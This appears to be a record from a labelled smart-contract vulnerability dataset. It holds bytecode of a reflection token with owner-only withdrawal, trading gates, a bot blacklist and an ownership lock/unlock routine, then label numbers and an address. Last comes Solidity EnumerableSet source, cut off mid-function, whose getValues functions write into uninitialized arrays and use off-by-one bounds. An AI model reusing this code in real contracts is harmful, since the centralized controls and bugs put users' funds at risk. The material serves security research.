5b611801565b3480156108f557600080fd5b506102de610904366004612e0a565b61184c565b34801561091557600080fd5b506102de610924366004612bbb565b6118de565b6000546001600160a01b0316331461095c5760405162461bcd60e51b815260040161095390612ecf565b60405180910390fd5b6001600160a01b03166000908152600960205260409020805460ff19169055565b6060600f805461098c90612f04565b80601f01602080910402602001604051908101604052809291908181526020018280546109b890612f04565b8015610a055780601f106109da57610100808354040283529160200191610a05565b820191906000526020600020905b8154815290600101906020018083116109e857829003601f168201915b5050505050905090565b6000610a1c3384846119b6565b5060015b92915050565b6000610a33848484611ada565b610a858433610a80856040518060600160405280602881526020016130ff602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611d8b565b6119b6565b5060019392505050565b6000546001600160a01b03163314610ab95760405162461bcd60e51b815260040161095390612ecf565b63041cdb408111610b295760405162461bcd60e51b815260206004820152603460248201527f53776170205468726573686f6c6420416d6f756e742063616e6e6f74206265206044820152733632b9b9903a3430b7101b1c9026b4b63634b7b760611b6064820152608401610953565b610b3781633b9aca00612f55565b60185550565b6000600c54821115610ba45760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610953565b6000610bae611dc5565b9050610bba8382611de8565b9392505050565b6000546001600160a01b03163314610beb5760405162461bcd60e51b815260040161095390612ecf565b6001600160a01b03811660009081526007602052604090205460ff16610c535760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610953565b60005b600854811015610d7457816001600160a01b031660088281548110610c7d57610c7d612f74565b6000918252602090912001546001600160a01b03161415610d625760088054610ca890600190612f8a565b81548110610cb857610cb8612f74565b600091825260209091200154600880546001600160a01b039092169183908110610ce457610ce4612f74565b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600482526040808220829055600790925220805460ff191690556008805480610d3c57610d3c612fa1565b600082815260209020810160001990810180546001600160a01b03191690550190555050565b80610d6c81612fb7565b915050610c56565b5050565b3360008181526005602090815260408083206001600160a01b03871684529091528120549091610a1c918590610a809086611e2a565b6000546001600160a01b03163314610dd85760405162461bcd60e51b815260040161095390612ecf565b6040516370a0823160e01b81523060048201526001600160a01b0383169063a9059cbb90839083906370a082319060240160206040518083038186803b158015610e2157600080fd5b505afa158015610e35573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e599190612fd2565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b158015610e9f57600080fd5b505af1158015610eb3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ed79190612feb565b505050565b3360008181526007602052604090205460ff1615610f515760405162461bcd60e51b815260206004820152602c60248201527f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460448201526b3434b990333ab731ba34b7b760a11b6064820152608401610953565b6000610f5c83611e89565b505050506001600160a01b038416600090815260036020526040902054919250610f8891905082611ed8565b6001600160a01b038316600090815260036020526040902055600c54610fae9082611ed8565b600c55600d54610fbe9084611e2a565b600d55505050565b6000546001600160a01b03163314610ff05760405162461bcd60e51b815260040161095390612ecf565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6000600b548311156110685760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c79006044820152606401610953565b8161108757600061107884611e89565b50939550610a20945050505050565b600061109284611e89565b50929550610a20945050505050565b6000546001600160a01b031633146110cb5760405162461bcd60e51b815260040161095390612ecf565b600e546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015611104573d6000803e3d6000fd5b50565b6000546001600160a01b031633146111315760405162461bcd60e51b815260040161095390612ecf565b6001600160a01b03811660009081526007602052604090205460ff161561119a5760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610953565b6001600160a01b038116600090815260036020526040902054156111f4576001600160a01b0381166000908152600360205260409020546111da90610b3d565b6001600160a01b0382166000908152600460205260409020555b6001600160a01b03166000818152600760205260408120805460ff191660019081179091556008805491820181559091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30180546001600160a01b0319169091179055565b6000546001600160a01b031633146112845760405162461bcd60e51b815260040161095390612ecf565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03811660009081526007602052604081205460ff16156112e357506001600160a01b031660009081526004602052604090205490565b6001600160a01b038216600090815260036020526040902054610a2090610b3d565b6000546001600160a01b0316331461132f5760405162461bcd60e51b815260040161095390612ecf565b600080546040516001600160a01b0390911690600080516020613127833981519152908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146113915760405162461bcd60e51b815260040161095390612ecf565b6040516001600160a01b038216904780156108fc02916000818181858888f19350505050158015610d74573d6000803e3d6000fd5b6000546001600160a01b031633146113f05760405162461bcd60e51b815260040161095390612ecf565b6113f8611f1a565b611410338361140b84633b9aca00612f55565b611ada565b610d74601354601255601554601455565b60606010805461098c90612f04565b6000610a1c3384610a8085604051806060016040528060258152602001613147602591393360009081526005602090815260408083206001600160a01b038d1684529091529020549190611d8b565b6000546001600160a01b031633146114a95760405162461bcd60e51b815260040161095390612ecf565b600a805461ff001916610100179055565b6001546001600160a01b031633146115205760405162461bcd60e51b815260206004820152602360248201527f596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6044820152626f636b60e81b6064820152608401610953565b60025442116115715760405162461bcd60e51b815260206004820152601f60248201527f436f6e7472616374206973206c6f636b656420756e74696c20372064617973006044820152606401610953565b600154600080546040516001600160a01b03938416939091169160008051602061312783398151915291a3600154600080546001600160a01b0319166001600160a01b03909216919091179055565b6000610a1c338484611ada565b6000546001600160a01b031633146115f75760405162461bcd60e51b815260040161095390612ecf565b601680548215156101000261ff00199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599061164090831515815260200190565b60405180910390a150565b6000546001600160a01b031633146116755760405162461bcd60e51b815260040161095390612ecf565b60008382146116c65760405162461bcd60e51b815260206004820152601760248201527f6d757374206265207468652073616d65206c656e6774680000000000000000006044820152606401610953565b83811015611737576117258585838181106116e3576116e3612f74565b90506020020160208101906116f89190612bbb565b84848481811061170a5761170a612f74565b90506020020135633b9aca006117209190612f55565b611f48565b611730600182613008565b90506116c6565b5050505050565b6000546001600160a01b031633146117685760405162461bcd60e51b815260040161095390612ecf565b60008054600180546001600160a01b03199081166001600160a01b038416179091551690556117978142613008565b600255600080546040516001600160a01b0390911690600080516020613127833981519152908390a350565b6000546001600160a01b031633146117ed5760405162461bcd60e51b815260040161095390612ecf565b6d0366e7064422fd84202340000000601755565b6000546001600160a01b0316331461182b5760405162461bcd60e51b815260040161095390612ecf565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146118765760405162461bcd60e51b815260040161095390612ecf565b60005b8151811015610d745760016009600084848151811061189a5761189a612f74565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806118d681612fb7565b915050611879565b6000546001600160a01b031633146119085760405162461bcd60e51b815260040161095390612ecf565b6001600160a01b03811661196d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610953565b600080546040516001600160a01b038085169392169160008051602061312783398151915291a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316611a185760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610953565b6001600160a01b038216611a795760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610953565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316611b3e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610953565b6001600160a01b038216611ba05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610953565b60008111611c025760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610953565b6000546001600160a01b03848116911614801590611c2e57506000546001600160a01b03838116911614155b15611c9657601754811115611c965760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610953565b6000611ca1306112a6565b90506017548110611cb157506017545b60185481108015908190611cc8575060165460ff16155b8015611d0657507f000000000000000000000000042d758739d31dba0027c6e2f5702bd1d5c739616001600160a01b0316856001600160a01b031614155b8015611d195750601654610100900460ff165b15611d2c576018549150611d2c82611f5b565b6001600160a01b03851660009081526006602052604090205460019060ff1680611d6e57506001600160a01b03851660009081526006602052604090205460ff165b15611d77575060005b611d838686868461205a565b505050505050565b60008184841115611daf5760405162461bcd60e51b81526004016109539190612bd8565b506000611dbc8486612f8a565b95945050505050565b6000806000611dd2612296565b9092509050611de18282611de8565b9250505090565b6000610bba83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612418565b600080611e378385613008565b905083811015610bba5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610953565b6000806000806000806000806000611ea08a612446565b9250925092506000806000611ebe8d8686611eb9611dc5565b612488565b919f909e50909c50959a5093985091965092945050505050565b6000610bba83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d8b565b601254158015611f2a5750601454155b15611f3157565b601280546013556014805460155560009182905555565b611f50611f1a565b611410338383611ada565b6016805460ff191660011790556000611f75826002611de8565b90506000611f838383611ed8565b905047611f8f836124d8565b6000611f9b4783611ed8565b90506000611fb56064611faf84604b61269f565b90611de8565b600e546040519192506001600160a01b03169082156108fc029083906000818181858888f19350505050158015611ff0573d6000803e3d6000fd5b50611ffb8183612f8a565b9150612007848361271e565b60408051868152602081018490529081018590527f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619060600160405180910390a150506016805460ff1916905550505050565b600a54610100900460ff16612083576000546001600160a01b0385811691161461208357600080fd5b6001600160a01b03841660009081526009602052604090205460ff16806120c257506001600160a01b03831660009081526009602052604090205460ff165b1561211957600a5460ff166121195760405162461bcd60e51b815260206004820152601b60248201527f626f7473206172656e7420616c6c6f77656420746f20747261646500000000006044820152606401610953565b8061212657612126611f1a565b6001600160a01b03841660009081526007602052604090205460ff16801561216757506001600160a01b03831660009081526007602052604090205460ff16155b1561217c5761217784848461282c565b61227a565b6001600160a01b03841660009081526007602052604090205460ff161580156121bd57506001600160a01b03831660009081526007602052604090205460ff165b156121cd57612177848484612952565b6001600160a01b03841660009081526007602052604090205460ff1615801561220f57506001600160a01b03831660009081526007602052604090205460ff16155b1561221f576121778484846129fb565b6001600160a01b03841660009081526007602052604090205460ff16801561225f57506001600160a01b03831660009081526007602052604090205460ff165b1561226f57612177848484612a3f565b61227a8484846129fb565b8061229057612290601354601255601554601455565b50505050565b600c54600b546000918291825b6008548110156123e8578260036000600884815481106122c5576122c5612f74565b60009182526020808320909101546001600160a01b031683528201929092526040019020541180612330575081600460006008848154811061230957612309612f74565b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b1561234657600c54600b54945094505050509091565b61238c600360006008848154811061236057612360612f74565b60009182526020808320909101546001600160a01b031683528201929092526040019020548490611ed8565b92506123d460046000600884815481106123a8576123a8612f74565b60009182526020808320909101546001600160a01b031683528201929092526040019020548390611ed8565b9150806123e081612fb7565b9150506122a3565b50600b54600c546123f891611de8565b82101561240f57600c54600b549350935050509091565b90939092509050565b600081836124395760405162461bcd60e51b81526004016109539190612bd8565b506000611dbc8486613020565b60008060008061245585612ab2565b9050600061246286612ace565b9050600061247a826124748986611ed8565b90611ed8565b979296509094509092505050565b6000808080612497888661269f565b905060006124a5888761269f565b905060006124b3888861269f565b905060006124c5826124748686611ed8565b939b939a50919850919650505050505050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061250d5761250d612f74565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561258657600080fd5b505afa15801561259a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125be9190613042565b816001815181106125d1576125d1612f74565b60200260200101906001600160a01b031690816001600160a01b03168152505061261c307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d846119b6565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac9479061267190859060009086903090429060040161305f565b600060405180830381600087803b15801561268b57600080fd5b505af1158015611d83573d6000803e3d6000fd5b6000826126ae57506000610a20565b60006126ba8385612f55565b9050826126c78583613020565b14610bba5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610953565b612749307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d846119b6565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663f305d7198230856000806127906000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156127f357600080fd5b505af1158015612807573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061173791906130d0565b60008060008060008061283e87611e89565b6001600160a01b038f16600090815260046020526040902054959b509399509197509550935091506128709088611ed8565b6001600160a01b038a1660009081526004602090815260408083209390935560039052205461289f9087611ed8565b6001600160a01b03808b1660009081526003602052604080822093909355908a16815220546128ce9086611e2a565b6001600160a01b0389166000908152600360205260409020556128f081612aea565b6128fa8483612b72565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161293f91815260200190565b60405180910390a3505050505050505050565b60008060008060008061296487611e89565b6001600160a01b038f16600090815260036020526040902054959b509399509197509550935091506129969087611ed8565b6001600160a01b03808b16600090815260036020908152604080832094909455918b168152600490915220546129cc9084611e2a565b6001600160a01b0389166000908152600460209081526040808320939093556003905220546128ce9086611e2a565b600080600080600080612a0d87611e89565b6001600160a01b038f16600090815260036020526040902054959b5093995091975095509350915061289f9087611ed8565b600080600080600080612a5187611e89565b6001600160a01b038f16600090815260046020526040902054959b50939950919750955093509150612a839088611ed8565b6001600160a01b038a166000908152600460209081526040808320939093556003905220546129969087611ed8565b6000610a206064611faf6012548561269f90919063ffffffff16565b6000610a206064611faf6014548561269f90919063ffffffff16565b6000612af4611dc5565b90506000612b02838361269f565b30600090815260036020526040902054909150612b1f9082611e2a565b3060009081526003602090815260408083209390935560079052205460ff1615610ed75730600090815260046020526040902054612b5d9084611e2a565b30600090815260046020526040902055505050565b600c54612b7f9083611ed8565b600c55600d54612b8f9082611e2a565b600d555050565b6001600160a01b038116811461110457600080fd5b8035612bb681612b96565b919050565b600060208284031215612bcd57600080fd5b8135610bba81612b96565b600060208083528351808285015260005b81811015612c0557858101830151858201604001528201612be9565b81811115612c17576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215612c4057600080fd5b8235612c4b81612b96565b946020939093013593505050565b600080600060608486031215612c6e57600080fd5b8335612c7981612b96565b92506020840135612c8981612b96565b929592945050506040919091013590565b600060208284031215612cac57600080fd5b5035919050565b60008060408385031215612cc657600080fd5b8235612cd181612b96565b91506020830135612ce181612b96565b809150509250929050565b801515811461110457600080fd5b60008060408385031215612d0d57600080fd5b823591506020830135612ce181612cec565b600060208284031215612d3157600080fd5b8135610bba81612cec565b60008083601f840112612d4e57600080fd5b50813567ffffffffffffffff811115612d6657600080fd5b6020830191508360208260051b8501011115612d8157600080fd5b9250929050565b60008060008060408587031215612d9e57600080fd5b843567ffffffffffffffff80821115612db657600080fd5b612dc288838901612d3c565b90965094506020870135915080821115612ddb57600080fd5b50612de887828801612d3c565b95989497509550505050565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215612e1d57600080fd5b823567ffffffffffffffff80821115612e3557600080fd5b818501915085601f830112612e4957600080fd5b813581811115612e5b57612e5b612df4565b8060051b604051601f19603f83011681018181108582111715612e8057612e80612df4565b604052918252848201925083810185019188831115612e9e57600080fd5b938501935b82851015612ec357612eb485612bab565b84529385019392850192612ea3565b98975050505050505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c90821680612f1857607f821691505b60208210811415612f3957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615612f6f57612f6f612f3f565b500290565b634e487b7160e01b600052603260045260246000fd5b600082821015612f9c57612f9c612f3f565b500390565b634e487b7160e01b600052603160045260246000fd5b6000600019821415612fcb57612fcb612f3f565b5060010190565b600060208284031215612fe457600080fd5b5051919050565b600060208284031215612ffd57600080fd5b8151610bba81612cec565b6000821982111561301b5761301b612f3f565b500190565b60008261303d57634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561305457600080fd5b8151610bba81612b96565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156130af5784516001600160a01b03168352938301939183019160010161308a565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156130e557600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63658be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e045524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122058596779acdad6d952326b970d823e381f00bf538cb52ba9c7b2e3c2e12837c764736f6c63430008090033
[ 13, 16, 5 ]
0xf3290dd8ae4525ca4242ba798b1147e36ea79464
// SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } function _getValues( Set storage set_ ) private view returns ( bytes32[] storage ) { return set_._values; } // TODO needs insert function that maintains order. // TODO needs NatSpec documentation comment. /** * Inserts new value by moving existing value at provided index to end of array and setting provided value at provided index */ function _insert(Set storage set_, uint256 index_, bytes32 valueToInsert_ ) private returns ( bool ) { require( set_._values.length > index_ ); require( !_contains( set_, valueToInsert_ ), "Remove value you wish to insert if you wish to reorder array." ); bytes32 existingValue_ = _at( set_, index_ ); set_._values[index_] = valueToInsert_; return _add( set_, existingValue_); } struct Bytes4Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes4Set storage set, bytes4 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes4Set storage set, bytes4 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes4Set storage set, bytes4 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values on the set. O(1). */ function length(Bytes4Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes4Set storage set, uint256 index) internal view returns ( bytes4 ) { return bytes4( _at( set._inner, index ) ); } function getValues( Bytes4Set storage set_ ) internal view returns ( bytes4[] memory ) { bytes4[] memory bytes4Array_; for( uint256 iteration_ = 0; _length( set_._inner ) > iteration_; iteration_++ ) { bytes4Array_[iteration_] = bytes4( _at( set_._inner, iteration_ ) ); } return bytes4Array_; } function insert( Bytes4Set storage set_, uint256 index_, bytes4 valueToInsert_ ) internal returns ( bool ) { return _insert( set_._inner, index_, valueToInsert_ ); } struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values on the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns ( bytes32 ) { return _at(set._inner, index); } function getValues( Bytes32Set storage set_ ) internal view returns ( bytes4[] memory ) { bytes4[] memory bytes4Array_; for( uint256 iteration_ = 0; _length( set_._inner ) >= iteration_; iteration_++ ){ bytes4Array_[iteration_] = bytes4( at( set_, iteration_ ) ); } return bytes4Array_; } function insert( Bytes32Set storage set_, uint256 index_, bytes32 valueToInsert_ ) internal returns ( bool ) { return _insert( set_._inner, index_, valueToInsert_ ); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } /** * TODO Might require explicit conversion of bytes32[] to address[]. * Might require iteration. */ function getValues( AddressSet storage set_ ) internal view returns ( address[] memory ) { address[] memory addressArray; for( uint256 iteration_ = 0; _length(set_._inner) >= iteration_; iteration_++ ){ addressArray[iteration_] = at( set_, iteration_ ); } return addressArray; } function insert(AddressSet storage set_, uint256 index_, address valueToInsert_ ) internal returns ( bool ) { return _insert( set_._inner, index_, bytes32(uint256(valueToInsert_)) ); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } struct UInt256Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UInt256Set storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UInt256Set storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UInt256Set storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UInt256Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UInt256Set storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function sqrrt(uint256 a) internal pure returns (uint c) { if (a > 3) { c = a; uint b = add( div( a, 2), 1 ); while (b < c) { c = b; b = div( add( div( a, b ), b), 2 ); } } else if (a != 0) { c = 1; } } function percentageAmount( uint256 total_, uint8 percentage_ ) internal pure returns ( uint256 percentAmount_ ) { return div( mul( total_, percentage_ ), 